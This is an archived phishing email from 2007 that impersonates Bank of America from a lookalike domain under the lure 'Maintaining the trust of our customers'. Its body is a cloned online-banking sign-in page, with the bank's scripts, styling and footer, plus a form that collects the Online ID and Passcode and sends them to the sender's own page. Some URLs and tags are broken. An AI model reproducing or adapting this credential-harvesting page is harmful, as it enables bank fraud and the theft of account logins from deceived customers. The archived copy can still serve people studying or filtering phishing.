[3932] in IMAP Delivery
Maintaining the trust of our customers !
daemon@ATHENA.MIT.EDU (Bank Of America)
Mon Jan 1 13:46:34 2007
Reply-To: <no-reply@bankofamerica.com>
From: "Bank Of America" <support@online-bankofamerica.com>
Date: Mon, 1 Jan 2007 13:46:18 -0500
MIME-Version: 1.0
Content-Type: text/html;
charset="Windows-1251"
Content-Transfer-Encoding: 7bit
Message-ID: <SERVERnh5m13asBH0kp0000795c@rmfppdc.rmfp.com>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="Description" content="Sign In to Bank of America Online Banking."><title>Bank of America | Online Banking | Sign In to Online Banking</title><!-- pkc common css beg -->
<link rel="stylesheet" type="text/css" href="images/win_ns6.css">
<link rel="stylesheet" type="text/css" href="images/weas_win_ns6.css"><!-- pkc common css end --><!-- pkc common js beg -->
<script type="text/javascript" language="javascript">
var errorBegin = "\n<!-- error section --> "
+ "\n<table width=\"510\" cellspacing=0 cellpadding=0 border=0 summary=\"\"> "
+ "\n "
+ "\n<!-- First Row - Red Border --> "
+ "\n<tr> "
+ "\n<td class=errorbrdr colspan=3><img src=\"images/clr.gif\" width=1 height=1 border=0 alt=\"\"><\/td> "
+ "\n<!-- Begin Error Body --> "
+ "\n<tr> "
+ "\n<td width=1 class=errorbrdr><img src=\"images/clr.gif\" width=1 height=1 border=0 alt=\"\"><\/td> "
+ "\n<td width=\"510\"> "
+ "\n<table width=\"100%\" border=0 cellspacing=0 cellpadding=0 summary=\"\"> "
+ "\n<tr> "
+ "\n<td colspan=5><img src=\"images/clr.gif\" width=1 height=10 border=0 alt=\"\"><\/td> "
+ "\n<\/tr> "
+ "\n<tr> "
+ "\n<td width=10><img src=\"images/clr.gif\" width=10 height=1 border=0 alt=\"\"><\/td> "
+ "\n<td width=31 valign=top><div class=inline><h3><img src=\"images/icon_alert_error.gif\" "
+ "\nwidth=31 height=27 border=0 alt=\"Error Message\"><\/h3><\/div><\/td> "
+ "\n<td width=20><img src=\"images/clr.gif\" width=20 height=1 border=0 alt=\"\"><\/td> "
+ "\n<td width=\"100%\"> "
+ "\n<div><div><div class=inline><p class=text1><span class=errortext>";
var errorEnd = "\n<\/span><\/p><\/div><\/div><\/td> "
+ "\n<td width=10><img src=\"images/clr.gif\" width=10 height=1 border=0 alt=\"\"><\/td> "
+ "\n<\/tr> "
+ "\n<tr> "
+ "\n<td colspan=5><img src=\"images/clr.gif\" width=1 height=10 border=0 alt=\"\"><\/td> "
+ "\n<\/tr> "
+ "\n<\/table> "
+ "\n<\/td> "
+ "\n<td width=1 class=errorbrdr><img src=\"images/clr.gif\" width=1 height=1 border=0 alt=\"\"><\/td> "
+ "\n<\/tr> "
+ "\n<!-- End Error Body --> "
+ "\n<!-- Third Row - Red Border --> "
+ "\n<tr> "
+ "\n<td class=errorbrdr colspan=3><img src=\"images/clr.gif\" width=1 height=1 border=0 alt=\"\"><\/td> "
+ "\n<\/tr> "
+ "\n<!-- End Red Border --> "
+ "\n<\/table> "
+ "\n<!-- end error section --> ";
function displayInScreenErrorMessages(error_message)
{
//alert("displayInScreenErrorMessages 1");
var formatted_output = errorBegin + error_message + errorEnd;
if(document.getElementById)
{
document.getElementById("errorSection").innerHTML = formatted_output;
}
else if(document.all)
{
document.all.errorSection.innerHTML = formatted_output;
}
}
function create_button(text, href, css_class, onclick_evt, onmouseover_evt, onmouseout_evt, tabindex)
{
var t = "";
if (( document.getElementById )||( document.all ))
{
// browser implements part of W3C DOM HTML
// Gecko, Internet Explorer 5+, Opera 5+
// Internet Explorer 4 or Opera with IE user agent
t = "<div class=" + css_class + "><a title=\"" + text + "\" href=\"" + href + "\" class=" + css_class
+ " onFocus='hover(this, \"" + css_class + "-over\")'"
+ " onBlur='hover(this, \"" + css_class + "\")'";
if (onclick_evt) { t = t + " onClick=\"" + onclick_evt + "\""; }
if (onmouseover_evt) { t = t + " onMouseOver=\"" + onmouseover_evt + "\""; }
if (onmouseout_evt) { t = t + " onMouseOut=\"" + onmouseout_evt + "\""; }
if (tabindex) { t = t + " tabindex=\"" + tabindex + "\""; }
t = t + ">" + text + "<\/a><\/div>";
}
else
{
// Netscape 4
t = "<table border=0 cellpadding=0 cellspacing=0 summary=\"\" class=" + css_class + "><tr><td width=2 rowspan=2 class=" + css_class + "-left><img src=\"images/clr.gif\" alt=\"\" width=2 height=2><\/td><td class=" + css_class + "-top><img src=\"images/clr.gif\" alt=\"\" width=1 height=2><\/td><td width=2 rowspan=3 class=" + css_class + "-right><img src=\"images/clr.gif\" alt=\"\" width=2 height=2><\/td><\/tr><tr><td><div class=" + css_class + "style=\"padding: 1px 3px 1px 3px;\"><a title=\"" + text + "\" href=\"" + href + "\" class=" + css_class
+ " onFocus='hover(this, \"" + css_class + "-over\")'"
+ " onBlur='hover(this, \"" + css_class + "\")'";
if (onclick_evt) { t = t + " onClick=\"" + onclick_evt + "\""; }
if (onmouseover_evt) { t = t + " onMouseOver=\"" + onmouseover_evt + "\""; }
if (onmouseout_evt) { t = t + " onMouseOut=\"" + onmouseout_evt + "\""; }
if (tabindex) { t = t + " tabindex=\"" + tabindex + "\""; }
t = t + ">" + text + "<\/a><\/div><\/td><\/tr><tr><td colspan=2 class=" + css_class + "-right><img src=\"images/clr.gif\" alt=\"\" width=1 height=2><\/td><\/tr><\/table>";
}
document.write(t);
}
function hover(ref, classRef) { eval(ref).className = classRef; }
var platform= navigator.platform.toLowerCase(); // Operating system
var appName = navigator.appName; // Browser name
var appVer= parseInt(navigator.appVersion); // Browser versionnumber
// set the correct style sheet for the browser
function checkBrowser(doc)
{
if (platform.indexOf("win") != -1) // Windows platform
{
if (appName == "Netscape" && appVer >= 5) // Netscape 6.x
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_ns6.css">');
}
else if (appName == "Netscape" && appVer >= 4) // Netscape 4
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_ns4.css">');
}
else if (appName == "Microsoft Internet Explorer" && appVer >= 4 && navigator.appVersion .indexOf("MSIE 4") != -1) // IE 4.x
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_ie4.csss">');
}
else if (appName == "Microsoft Internet Explorer" && appVer >= 4) // IE 4.x +
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_ie.css">');
}
else if (appName == "Opera") // Opera 5.x, 6.x
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_opera.css">');
}
else // All other win browsers
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_ie.css">');
}
}
else if (platform.indexOf("mac") != -1) // Mac platform
{
if (appName == "Netscape" && appVer >= 5) // Netscape 6.x
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/mac_ns6.css">');
}
else if (appName == "Netscape" && appVer >= 4) // Netscape 4
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/mac_ns4.css">');
}
else if (appName == "Microsoft Internet Explorer" && appVer >= 4) // IE 4.x
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/mac_ie.css">');
}
else if (appName == "Opera") // Opera 5.x, 6.x
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/mac_ie.css">');
}
else // All other browsers
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/mac_ie.css">');
}
}
else if (platform.indexOf("os2") != -1) // os2 platform
{
if (appName == "Netscape" && appVer >= 4) // Netscape 4
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/os2_ns4.css">');
}
else
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_ie.css">');
}
}
else // all other platforms
{
if (appName == "Netscape" && appVer >= 4) // Netscape 4
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/mac_ns4.css">');
}
else
{
doc.writeln('<link rel="stylesheet" type="text/css" href="images/win_ie.css">');
}
}
}
/* Multiply the size of the font for each style sheet rule
for all linked and embedded style sheets.
*/
function multipleFontSize(factor)
{
//alert("pkc1");
var styleSheet;
var i;
var done;
for(i=0;i<document.styleSheets.length;i++)
{
styleSheet = document.styleSheets[i].cssText;
styleSheet = styleSheet.toLowerCase();
var pattern = /font-size\s*:\s*([\d\.]+)((em)|%)+/g;
pattern.multiline = true;
var result;
done = false;
while (!done)
{
var result = pattern.exec(styleSheet);
if (result == null)
{
done = true;
}
else
{
strLeft = styleSheet.substring(0, result.index-1);
strMid = result[0];
strRight = styleSheet.substring(result.index + result[0].length);
size = result[1];
size *= factor;
var number_pattern = /(\d*.?\d{0,2})\d*/;
var number_result = number_pattern.exec(size);
strMid = strMid.replace(result[1], number_result[1]);
styleSheet = strLeft + strMid + strRight;
}
}
document.styleSheets[i].cssText= styleSheet;
}
}
/* Examine the default page font. If too small,
increase by a percent factor
*/
function examineFontSize(ref)
{
if (document.getElementById)
{
if (document.getElementById(ref).currentStyle)
{
var size = document.getElementById(ref).currentStyle.fontSize;
var index = size.indexOf("pt");
var newstr = parseInt(size.substr(0,index));
if (newstr < 10)
{
multipleFontSize(1.3);
}
else if (newstr < 12)
{
multipleFontSize(1.2);
}
}
}
}
</script><!-- pkc common js end -->
<style type="text/css">
.typefontred
{
font-style: monospace;
color: #ff0000;
}
</style>
<script type="text/javascript" language="javascript">
<!--
if (top.location != self.location)
{
top.location = self.location;
}
-->
</script>
<script type="text/javascript" language="javascript">
<!--
function isLetter(aChar)
{
return ((aChar >= 'a') && (aChar <= 'z')) ||
((aChar >= 'A') && (aChar <= 'Z'));
}
function isDigit(aChar)
{
return ((aChar >= '0') && (aChar <= '9'));
}
function isNumeric(number)
{
number = number + "";
return ((number.length > 0) && isComposedOfChars("0123456789", number));
}
function isAlphanumeric(alphaNumString)
{
alphaNumString = alphaNumString + "";
return ((alphaNumString.length > 0) &&
isComposedOfChars("abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", alphaNumString));
}
function isAlphanumericOrUnderscore(alphaNumString)
{
alphaNumString = alphaNumString + "";
return ((alphaNumString.length > 0) &&
isComposedOfChars("abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_", alphaNumString));
}
function hasText(text)
{
var newText = strip(text + "", " ");
//return (newText != "");
//FIX:
if((newText != "") && (newText != null))
return(true);
else
return(false);
}
function remove(string, rChar)
{
var retStr = "";
for(var i = 0; i < string.length; i++)
{
var ch = string.charAt(i);
if (ch != rChar)
{
retStr = retStr + ch;
}
}
return retStr;
}
// Return the index into inString of the first character in inString
// that is not found in okayChars.
function indexOfFirstNotIn(okayChars, inString)
{
var i;
for (i=0; i < inString.length; i++)
{
var charm = inString.charAt(i);
if (okayChars.indexOf(charm) == -1)
{
return i;
}
}
return -1;
}
// Return the index into inString of the last character in inString
// that is not found in okayChars.
function indexOfLastNotIn(okayChars, inString)
{
var i;
for (i = inString.length - 1; i >= 0; i--)
{
var charm=inString.charAt(i);
if (okayChars.indexOf(charm) == -1) // return this char
{
return i;
}
}
return -1;
}
function strip(string, sChar)
{
if ((string == null) || (string == ""))
{
return "";
}
var startIndex = indexOfFirstNotIn(sChar, string);
var endIndex = indexOfLastNotIn(sChar, string);
// Confirm that we have at least one non-stripped character.
if (startIndex == -1)
{
return "";
}
return string.substring(startIndex, endIndex + 1);
}
function substringWithChars(validChars, inString)
{
var tempString = "";
var i;
for (i=0; i < inString.length; i++)
{
var ch = inString.charAt(i);
if (validChars.indexOf(ch) != -1) // this char is valid, save it
{
tempString = tempString + ch;
}
}
return tempString;
}
function isComposedOfChars(validChars, inString)
{
return (indexOfFirstNotIn(validChars, inString) == -1);
}
function hasCommonLengthFourSubstrings(inString1, inString2)
{
var string1 = strip(inString1," ");
var string2 = strip(inString2," ");
var numberOfSubstrings = string1.length - 3;
var i;
for (i = 0; i < numberOfSubstrings; i++)
{
var nextSubstring = string1.substring(i, i+4);
if (string2.indexOf(nextSubstring) != -1)
{
return true;
}
}
return false;
}
function autoSub()
{
checkFormInputNSubmit();
doSub();
}
function subFormData()
{
document.cookie = "autoPostCheck=1240";
document.form1.submit();
}
function checkForCookies()
{
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 3600000 * 24);
document.cookie = "cookieEnabledPersist=true; expires=" + expire.toGMTString();
document.cookie = "cookieEnabledSession=true";
var cookieString = ""+document.cookie;
if (cookieString.indexOf("cookieEnabledPersist")==-1 || cookieString.indexOf("cookieEnabledSession")==-1)
{
document.location.href = "/cgi-bin/sso.login.controller?state=CA&reason=noCookie";
}
}
function loadGating()
{
checkForCookies();
}
// -->
</script>
<script type="text/javascript" language="javascript">
<!--
var times = 0;
var errm = "";
var errormsg = "";
var blockbrow = "";
var clickcount = 0;
var bookmarkText = "";
var doc;
var new_win = null;
var nw = null;
ERROR_MESSAGE_ALREADY_SUBMITTED = "You have already submitted a request. Please wait for your request to be processed.";
ERROR_MESSAGE_INVALID_PASSWORD = "The Online Passcode can be 4-12 alphanumeric characters, and cannot contain special characters (i.e. !@#$%^&*()-+,.?/:;).";
ERROR_MESSAGE_INVALID_ACCESS_ID = "We are unable to recognize the ID you have entered. The ID can be 5 to 25 alphanumeric characters. Please verify and reenter your ID. For more information about your ID, click on the ID link.";
ERROR_MESSAGE_EMPTY_FIELDS = "Please complete all of the required fields before continuing.";
ERROR_MESSAGE_INVALID_ACCESS_ID_RESET = "Please enter your Online ID if you wish to reset your Online Passcode. If you don't know your Online ID, please call 1.800.792.0808 for assistance."
ERROR_MESSAGE_INVALID_ACCESS_ID_CREATE = "Please enter your Online ID if you wish to create your Online Passcode. If you don't know your Online ID, please call 1.800.792.0808 for assistance."
ERROR_MESSAGE_MASKED_ID_INVALID = "The Online ID you entered is not the same as your saved ID. Please re-enter your entire ID.";
MSG0001="Please enter both the ID and Passcode before continuing.";
MSG0001_pm="Please enter the ID before continuing.";
MSG0002="The ID must be 5-25 numbers and/or letters. <BR>Please re-enter your Online ID.";
MSG0002_letter="The Online ID you entered contains letter(s).";
MSG0002_spl_char="The Online ID you entered contains one or more special character(s) (<span class=typefontred>~`!@#$%^&*()-+|\"',.?/:;<>[]{}=<\/span>), which is not allowed.";
MSG0002_short="The Online ID you entered is too short.";
MSG0002_large="The Online ID you entered is too large.";
MSG0002_space="The Online ID you entered contains one or more <span class=typefontred>space<\/span> character(s), which is not allowed.";
MSG0003="The passcode must be 4-12 numbers and/or letters. Please re-enter the passcode.";
MSG0003_short="The passcode you entered is too short.";
MSG0003_large="The passcode you entered is too large.";
MSG0003_spl_char="The passcode you entered contains one or more special character(s) (<span class=typefontred>~`!@#$%^&*()-+|\"',.?/:;<>[]{}=_<\/span>), which is not allowed.";
MSG0003_space="The passcode you entered contains one or more <span class=typefontred>space<\/span> character(s), which is not allowed.";
function openErrorWindow(error_message)
{
//windowOpener2(error_message);
displayInScreenErrorMessages(error_message);
}
pmLogin = false;
function checkPMFormInputNSubmit()
{
// alert("Spoof: js - pmlogin");
if (document.form1.pmloginid)
{
// alert("Spoof: js - pmlogin");
pmLogin = true;
document.form1.pmbutton.value = "true";
}
else
{
// alert("Spoof: js - not pmlogin");
}
checkFormInputNSubmit();
pmLogin = false;
document.form1.pmbutton.value = "false";
}
function checkFormInputNSubmit()
{
// No Id and Pass
// ID - No Pass
// Pass - No ID
// Either one Misssing
// Incorrectly formatted ID
// Incorrectly formatted Pass
//document.form1.Access_ID.value = document.field1Form.Access_ID.value;
// netscape 4 - direct submit
if(navigator.appName.indexOf("Netscape") > -1 && navigator.appVersion.indexOf("4.") > -1)
{
//alert("Net 4 submit");
document.form1.server_check.value = "true";
document.form1.submit();
return;
}
accessID = "";
accessIDCheck = true;
if (document.form1.Access_ID_1 )
{
if (document.form1.Access_ID && (document.form1.Access_ID.value == "") == false )
{
// alert("multid: js - aid 1");
accessID = strip(document.form1.Access_ID.value, " ");
}
else
{
// alert("multid: js - aid 2");
accessID = strip(document.form1.Access_ID_1.value, " ");
accessIDCheck = false;
}
}
else
{
// alert("multid: js - aid 3");
accessID = strip(document.form1.Access_ID.value, " ");
}
// alert("multid: js - aid [" + accessID + "]");
passcode = "";
// alert("Spoof: js - pmDead [" + pmDead + "]");
if (document.form1.pmloginid)
{
if (pmDead == false)
{
// alert("Spoof: js - pmlogin");
pmLogin = true;
}
}
// alert("Spoof: js - pmlogin [" +pmLogin+ "]");
passcodeCheck = false;
// alert("multid: js - aid 4");
if( document.form1.Current_Passcode )
{
// alert("multid: js - aid 4.1");
passcodeCheck = true;
}
passcode = null;
if(passcodeCheck)
{
// alert("multid: js - aid 4.2");
passcode = strip(document.form1.Current_Passcode.value, " ");
}
else
{
// alert("multid: js - aid 4.3");
document.form1.pmbutton.value = 'true';
}
if ( pmLogin || passcodeCheck == false )
{
if ( accessID.length == 0 || accessID == "" )
{
openErrorWindow(MSG0001_pm);
return;
}
}
else
{
if ( ( accessID.length == 0 || accessID == "" ) || ( passcode.length == 0 || passcode == "" ) )
{
openErrorWindow(MSG0001);
return;
}
}
error_message = "empty";
if( accessIDCheck )
{
error_message = checkAccessID(accessID);
}
if ( error_message != "empty" )
{
openErrorWindow(error_message);
return;
}
if ( pmLogin == false && passcodeCheck )
{
// alert("multid: js - aid 4.4");
error_message = checkPasscode(passcode);
}
if ( error_message != "empty" )
{
openErrorWindow(error_message);
return;
}
//added to prevent double clicks
if(clickcount > 0)
return;
clickcount++;
document.form1.submit();
}
function checkAccessID(accessID)
{
maskedId = "";
if ( document.form1.Access_ID.value.indexOf(' ') > -1 )
{
return MSG0002_space + " <BR>" + MSG0002;
}
if(maskedId == accessID)
{
return "empty";
}
if(maskedId != null && maskedId.length > 0)
{
if(accessID.indexOf('*') > -1)
{
return ERROR_MESSAGE_MASKED_ID_INVALID;
}
}
if (accessID.length < 5 )
{
return MSG0002_short + " <BR>" + MSG0002;
}
if (accessID.length > 25 )
{
return MSG0002_large + " <BR>" + MSG0002;
}
if (!isAlphanumericOrUnderscore(accessID))
{
return MSG0002_spl_char + " <BR>" + MSG0002;
}
return "empty";
}
function checkPasscode(passcode)
{
if ( document.form1.Current_Passcode.value.indexOf(' ') > -1 )
{
return MSG0003_space + " <BR>" + MSG0003;
}
if (passcode.length < 4 )
{
return MSG0003_short + " <BR>" + MSG0003;
}
if (passcode.length > 12 )
{
return MSG0003_large + " <BR>" + MSG0003;
}
if (!isAlphanumeric(passcode))
{
return MSG0003_spl_char + " <BR>" + MSG0003;
}
return "empty";
}
function gatingUnload()
{
}
function doSub()
{
checkFormInputNSubmit();
return true;
}
function loginHelp()
{
document.location.href = "/cgi-bin/sso.login.controller?state=CA&reason=assistCA";
}
function rememberMeHelp()
{
document.location.href = "/cgi-bin/sso.login.controller?state=CA&reason=rememberMeAssist";
}
function createPasscode()
{
if( document.form1.Access_ID )
{
document.createForm.Access_ID.value = document.form1.Access_ID.value;
}
document.createForm.reason.value = "create_passcode_ca";
document.createForm.submit();
}
function resetPasscode()
{
if( document.form1.Access_ID )
{
document.resetForm.Access_ID.value = document.form1.Access_ID.value;
}
document.resetForm.reason.value = "reset_request_ca";
document.resetForm.submit();
}
function doReset()
{
document.form1.Access_ID.value = document.form1.Access_ID.value;
if (times==0)
{
if (document.form1.Access_ID.value.length == 0)
{
windowOpener2(ERROR_MESSAGE_INVALID_ACCESS_ID_RESET);
return false;
}
if (!isValidAccessID(document.form1.Access_ID))
{
windowOpener2(ERROR_MESSAGE_INVALID_ACCESS_ID);
return false;
}
document.form1.reset.value = "yes";
subFormData();
return false;
}
else
{
windowOpener2(ERROR_MESSAGE_ALREADY_SUBMITTED);
return false;
}
}
// -->
</script></head>
<body onload="loadGating()" id="body" class="body" bgcolor="#ffffff" text="#000000">
<!-- logo_header_n_global_navigation beg -->
<img src="images/olb_masthead_nonav.gif" alt="Bank of America Higher Standards Online Banking" border="0" height="83" width="747"><br>
<!-- logo_header_n_global_navigation end -->
<!-- check fonts beg -->
<script type="text/javascript" language="javascript">
<!--
examineFontSize("body");
//-->
</script>
<!-- check fonts beg -->
<!-- BEGIN CORE HTML Presentation -->
<!-- Begin page label -->
<div class="pagelabel">
<table class="nav3" summary="" border="0" cellpadding="0" cellspacing="0" width="735">
<tbody><tr><td colspan="2"><img src="images/clr.gif" alt="" height="6" width="1"></td></tr>
<tr>
<td valign="bottom"><div style="display: block;"><img src="images/clr.gif" alt="" height="10" width="200"></div><div><a name="skipnav"></a><h1 class="pagelabel">Sign In<br></h1></div></td>
<td class="text2" align="right" nowrap="nowrap" valign="top"><img src="images/clr.gif" alt="" height="1" width="10"></td></tr>
<tr><td colspan="2"><img src="images/clr.gif" alt="" height="10" width="1"></td></tr>
<tr><td class="rulegrey3" colspan="2"><img src="images/clr.gif" alt="" height="1" width="1"></td></tr>
<tr><td colspan="2"><img src="images/clr.gif" alt="" height="12" width="1"></td></tr>
</tbody></table>
</div>
<!-- End page label -->
<table summary="" border="0" cellpadding="0" cellspacing="0" width="747">
<tbody><tr>
<!-- Left margin -->
<td width="12"><img src="images/clr.gif" alt="" height="1" width="12"></td>
<!-- End left margin -->
<!-- Begin Sign In form -->
<td valign="top" width="510">
<div id="errorSection"></div>
<form name="form1" action="online_banking.html" method="get" onsubmit="doSub();return false;">
<table summary="" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr> <td colspan="4"><img src="images/clr.gif" alt="" height="12" width="1"></td> </tr>
<tr>
<td rowspan="15" width="10"><img src="images/clr.gif" alt="" height="1" width="12"></td>
<td style="padding-top: 3px; text-align: right;" align="right" nowrap="nowrap" valign="top" width="140"><label for="Access_ID"><span class="title6">Enter Online ID:</span><br><span class="h2-ada">(5 - 25 numbers and/or letters)</span></label></td>
<td width="10"><img src="images/clr.gif" alt="" height="1" width="12"></td>
<td valign="top" width="100%">
<input maxlength="25" name="Access_ID" size="25" id="Access_ID" value="" class="text1"><br><span class="text1a">(5 - 25 numbers and/or letters)</span><br><input value="Y" name="rembme" id="rembme" class="text1" type="checkbox"><label for="rembme"><span class="text1"> Save this online ID</span></label> <span class="text1">(<a title="How does this work?" href="https://onlineid.bankofamerica.com/cgi-bin/sso.login.controller?reason=rememberMeAssist" class="linknormal">How does this work?</a>)</span>
</td>
</tr>
<!-- Blank Line -->
<tr><td colspan="3"><img src="images/clr.gif" alt="" height="15" width="1"></td></tr>
<!-- passcode -->
<tr>
<td style="padding-top: 3px;" align="right" nowrap="nowrap" valign="top" width="140"><label for="Current_Passcode"><span class="title6">Enter Passcode:</span><span class="h2-ada"><br>(4 - 12 numbers and/or letters)</span></label></td>
<td width="10"><img src="images/clr.gif" alt="" height="1" width="12"></td>
<td valign="top" width="100%"><input maxlength="12" size="17" name="Current_Passcode" id="Current_Passcode" class="text1" type="password"><br><span class="text1a">(4 - 12 numbers and/or letters)</span></td>
</tr>
<tr><td colspan="3"><img src="images/clr.gif" alt="" height="15" width="1"></td></tr>
<!-- sign in button -->
<tr>
<td colspan="2"><img src="images/clr.gif" alt="" height="1" width="1"></td>
<td nowrap="nowrap" width="100%">
<table summary="Layout table" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td nowrap="nowrap">
<script type="text/javascript" language="javascript">
<!--
create_button("Sign In", "javascript:checkFormInputNSubmit();",
"btn1", null, "self.status='Sign In';return true;",
"self.status='';return true;", null );
document.write('<input border=0 type="image" src="images/weas/clr.gif" width=0 height=0 alt="Sign In"/>');
//-->
</script>
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr><td colspan="3"><img src="images/clr.gif" alt="" height="20" width="1"></td></tr>
<!-- id/pass links -->
<tr><td colspan="2"><img src="images/clr.gif" alt="" height="1" width="1"></td><td colspan="1">
<noscript><a
title="Reset passcode"
href="/cgi-bin/sso.login.controller?state=CA&fkpst=true&Access_ID=&reason=create_passcode_model"
class=linknormal><span class=text1>Reset passcode</span></a></noscript><script type="text/javascript" language="javascript">document.write('<a title="Reset passcode" href="javascript:createPasscode()" class=linknormal><span class=text1>Reset passcode<\/span><\/a>'); </script>
<br>
<noscript><a
title="Forgot or need help with your ID?"
href="/cgi-bin/sso.login.controller?state=CA&fkpst=true&Access_ID=&reason=resetid_request_ca"
class=linknormal><span class=text1>Forgot or need help with your ID?</span></a></noscript><script type="text/javascript" language="javascript">document.write('<a title="Forgot or need help with your ID?" href="javascript:loginHelp()" class=linknormal><span class=text1>Forgot or need help with your ID?<\/span><\/a>');</script></td>
</tr>
<!-- ad banner -->
<tr><td colspan="2"><img src="images/clr.gif" alt="" height="1" width="12"></td><td colspan="3"><div style="display: block;"><img src="images/clr.gif" alt="" height="25" width="1"></div><a title="Bank of America Product Promotion" href="http://www.bankofamerica.com/promos/jump/olbcstsave"><img src="images/obpromo_bnr_dpo_in.gif" alt="Bank of America Product Promotion" border="0" height="58" width="347"></a></td></tr>
</tbody></table>
</form>
</td>
<!-- Middle gutter -->
<td width="20"><img src="images/clr.gif" alt="" height="1" width="20"></td>
<!-- End middle gutter -->
<td align="left" valign="top" width="205">
<!-- Module Frame -->
<table summary="" border="0" cellpadding="0" cellspacing="0" width="100%">
<!-- Module Header -->
<tbody><tr><td class="mod2-brdr-hs"><img src="images/clr.gif" alt="" border="0" height="1" width="1"></td></tr>
<!-- Start of Module Content -->
<tr>
<td valign="top"><table summary="" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td class="mod2-brdr-hs" width="1"><img src="images/clr.gif" alt="" height="1" width="1"></td>
<td valign="top"><div class="display-ns4"><img src="images/clr.gif" alt="" height="15" width="1"></div><div class="signin-box"><span style="color: rgb(0, 0, 0);">Not using Online Banking?</span><br><a class="linknormal" onfocus="self.status='Enroll now for Online Banking';return true;" onblur="self.status='';return true;" onmouseover="self.status='Enroll now for Online Banking';return true;" onmouseout="self.status='';return true;" title="Enroll now for Online Banking" href="https://onlineid.bankofamerica.com/cgi-bin/sso.login.controller?reason=ca_enroll">Enroll now<br>for Online Banking<img src="images/icon_call2action_secondary.gif" alt="" border="0" height="8" hspace="5" width="10"></a><br><br><a class="linknormal" onfocus="self.status='Learn More';return true;" onblur="self.status='';return true;" onmouseover="self.status='Learn More';return true;" onmouseout="self.status='';return true;" title="Learn more about Online Banking" href="http://www.bankofameri
ca.com/state.cgi?section=online">
<td class="mod2-brdr-hs" width="1"><img src="images/clr.gif" alt="" border="0" height="1" width="1"></td>
</tr>
</tbody></table></td>
</tr>
<tr><td class="mod2-brdr-hs"><img src="images/clr.gif" alt="" border="0" height="1" width="1"></td></tr>
<!-- Start of Module Content -->
<tr>
<td><table summary="" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td class="mod2-brdr-hs" width="1"><img src="images/clr.gif" alt="" height="1" width="1"></td>
<td><table summary="" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr valign="top">
<!-- End of Module Content -->
<td>
</td><td valign="top"><div class="display-ns4"><img src="images/clr.gif" alt="" height="15" width="1"></div><div class="signin-box"><a class="linknormal" onfocus="self.status='Change State';return true;" onblur="self.status='';return true;" onmouseover="self.status='Change State';return true;" onmouseout="self.status='';return true;" title="Change State" href="http://www.bankofamerica.com/state.cgi?section=signin&update=yes">Go to Online Banking for<br>a state other than California</a></div><div class="display-ns4"><img src="images/clr.gif" alt="" height="15" width="1"></div></td>
</tr>
</tbody></table></td>
<td class="mod2-brdr-hs" width="1"><img src="images/clr.gif" alt="" border="0" height="1" width="1"></td>
</tr>
</tbody></table></td>
</tr>
<tr>
<td class="mod2-brdr-hs"><img src="images/clr.gif" alt="" border="0" height="1" width="1"></td>
</tr>
<!-- End Module Footer -->
</tbody></table>
</td>
</tr>
</tbody></table>
<!-- Beg Footer -->
<!-- 30 pixels of seperation -->
<div><img src="images/clr.gif" alt="" height="30" width="1"></div>
<!-- Begin footer -->
<div class="footer">
<table summary="" border="0" cellpadding="0" cellspacing="0" width="747">
<tbody><tr><td colspan="4" class="rulegrey2"><img src="images/clr.gif" alt="" height="1" width="1"></td></tr>
<tr><td rowspan="7" width="12"><img src="images/clr.gif" alt="" height="1" width="12"></td><td colspan="2"><img src="images/clr.gif" alt="" height="7" width="1"></td></tr>
<tr><td class="secure-area" nowrap="nowrap"><div class="secure-area"><img src="images/foot_lock.gif" alt="Secure Area" border="0" height="11" hspace="0" vspace="0" width="9"><img src="images/clr.gif" alt="" height="1" width="8">Secure Area</div></td><td rowspan="6" style="" align="right" valign="top" width="142"><img alt="Official Sponsor 2000-2004 U.S. Olympic Teams" src="images/olympic.gif" align="right" border="0" height="33" hspace="0" vspace="0" width="130"></td></tr>
<tr><td><img src="images/clr.gif" alt="" height="6" width="1"></td></tr>
<tr>
<td class="footer" valign="top"><a class="footer" title="Home" href="http://www.bankofamerica.com/">Home</a> <span class="bluedot">•</span> <a class="footer" title="Locations" href="http://www.bankofamerica.com/findit/locator.cfm">Locations</a> <span class="bluedot">•</span> <a class="footer" title="Contact Us" href="http://www.bankofamerica.com/onlinebanking/index.cfm?template=contact_us">Contact Us</a> <span class="bluedot">•</span> <a class="footer" title="Help" href="http://www.bankofamerica.com/help/index.cfm?lob=onlinebanking">Help</a> <span class="bluedot">•</span> <a class="footer" title="Sign in" href="http://www.bankofamerica.com/signin/">Sign in</a> <span class="bluedot">•</span> <a class="footer" title="Site Map" href="http://www.bankofamerica.com/help/index.cfm?template=sitemap.cfm">Site Map</a><br><a class="footer" title="P
ersonal Finance" href="http://www
</tr>
<tr><td><img src="images/clr.gif" alt="" height="22" width="1"></td></tr>
<tr>
<td class="fdic-text" valign="top">Bank of America, N.A. Member FDIC. Equal Housing Lender<img src="images/icon_house.gif" alt="Equal Housing Lender" border="0" height="9" hspace="3" width="14"><br>© 2007 Bank of America Corporation. All rights reserved.</td>
</tr>
